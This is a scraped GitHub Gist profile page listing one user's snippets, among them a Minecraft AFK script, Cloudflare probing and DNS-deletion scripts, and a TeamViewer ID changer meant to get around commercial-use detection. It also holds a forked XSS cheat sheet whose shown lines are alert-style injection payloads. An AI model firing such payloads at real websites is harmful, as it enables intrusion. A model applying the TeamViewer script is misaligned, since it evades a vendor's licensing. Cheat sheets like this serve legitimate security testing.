Skip to content

Instantly share code, notes, and snippets.

View BirkhoffLee's full-sized avatar
🎓
Learning about CS

birkhoff BirkhoffLee

🎓
Learning about CS
View GitHub Profile
@BirkhoffLee
BirkhoffLee / MinecraftAFKMining.ahk
Created February 16, 2017 10:11
An AutoHotKey script for Minecraft AFK mining, which keep pressing the left mouse button and locks the movement of mouse while mining. Use "z" to toggle.
z::
if GetKeyState("LButton") {
Send % "{Click Up}"
BlockInput, MouseMoveOff
} else {
Send % "{Click Down}"
BlockInput, MouseMove
}
return
Nix 15 hrs 15 mins ████████▍░░░░░░░░░░░░ 40.3%
Cheetah 10 hrs 14 mins █████▋░░░░░░░░░░░░░░░ 27.1%
PHP 3 hrs 17 mins █▊░░░░░░░░░░░░░░░░░░░ 8.7%
Other 3 hrs 11 mins █▊░░░░░░░░░░░░░░░░░░░ 8.4%
JavaScript 1 hr 18 mins ▋░░░░░░░░░░░░░░░░░░░░ 3.5%
@BirkhoffLee
BirkhoffLee / probe.sh
Created June 15, 2023 19:01
Probe Cloudflare colocation for various plans
#!/usr/bin/env bash
lookup() {
ips=$(dig @1.1.1.1 +short $1.cdn.cloudflare.net)
echo "$1:"
for ip in $ips; do
curl -s --resolve $1:443:$ip https://$1/cdn-cgi/trace | grep "colo="
done
echo ""
@BirkhoffLee
BirkhoffLee / cloudflare-delete-all-records.sh
Created June 15, 2023 18:10 — forked from slayer/cloudflare-delete-all-records.sh
Delete all DNS records for specified zone
#!/bin/bash
TOKEN="xxxxxxxxxxxxxxxxxxx"
ZONE_ID=2222222222222222222222222
# EMAIL=me@gmail.com
# KEY=11111111111111111111111111
# Replace with
# -H "X-Auth-Email: ${EMAIL}" \
# -H "X-Auth-Key: ${KEY}" \
@BirkhoffLee
BirkhoffLee / teamviewer_change_id.py
Created April 22, 2019 13:37
Change the ID of Teamviewer for macOS to circumvent "commercial use detected"
# -*- coding: utf-8 -*-
import sys
import os
import glob
import platform
import re
import random
import string
print('Change ID of Teamviewer for macOS')
@BirkhoffLee
BirkhoffLee / README.md
Created March 22, 2023 12:27
師大 Cumulative GPA 計算機

使用步驟

  1. 把 main.js 存起來
  2. 在同個資料夾跑 npm install xlsx
  3. 在教務系統載成績報表,然後把報表的 path 放進 main.js 裡面(89 行)
  4. $ node main.js
    [
      [ 2, 4.3 ], [ 2, 4 ],   [ 2, 4 ],
      [ 2, 3.7 ], [ 3, 4 ],   [ 3, 4 ],

[ 3, 3.7 ], [ 1, 4.3 ], [ 3, 1 ],

@BirkhoffLee
BirkhoffLee / xss_vectors.txt
Created December 28, 2022 10:02 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@BirkhoffLee
BirkhoffLee / Caddyfile
Created December 14, 2022 17:20
Caddy on Docker for SPA website (e.g. Vue Router)
:3000 {
root * /app
try_files {path}.html {path} /index.html
file_server
header {
-server
}
}
@BirkhoffLee
BirkhoffLee / 55-bytes-of-css.md
Created September 26, 2022 08:41 — forked from JoeyBurzynski/55-bytes-of-css.md
58 bytes of css to look great nearly everywhere

58 bytes of CSS to look great nearly everywhere

When making this website, i wanted a simple, reasonable way to make it look good on most displays. Not counting any minimization techniques, the following 58 bytes worked well for me:

main {
  max-width: 38rem;
  padding: 2rem;
  margin: auto;
}
@BirkhoffLee
BirkhoffLee / README.md
Created September 12, 2022 02:32
Install ruby 3.1.2 on M1 with rbenv with homebrew openssl and a mitigation of libtool deprecation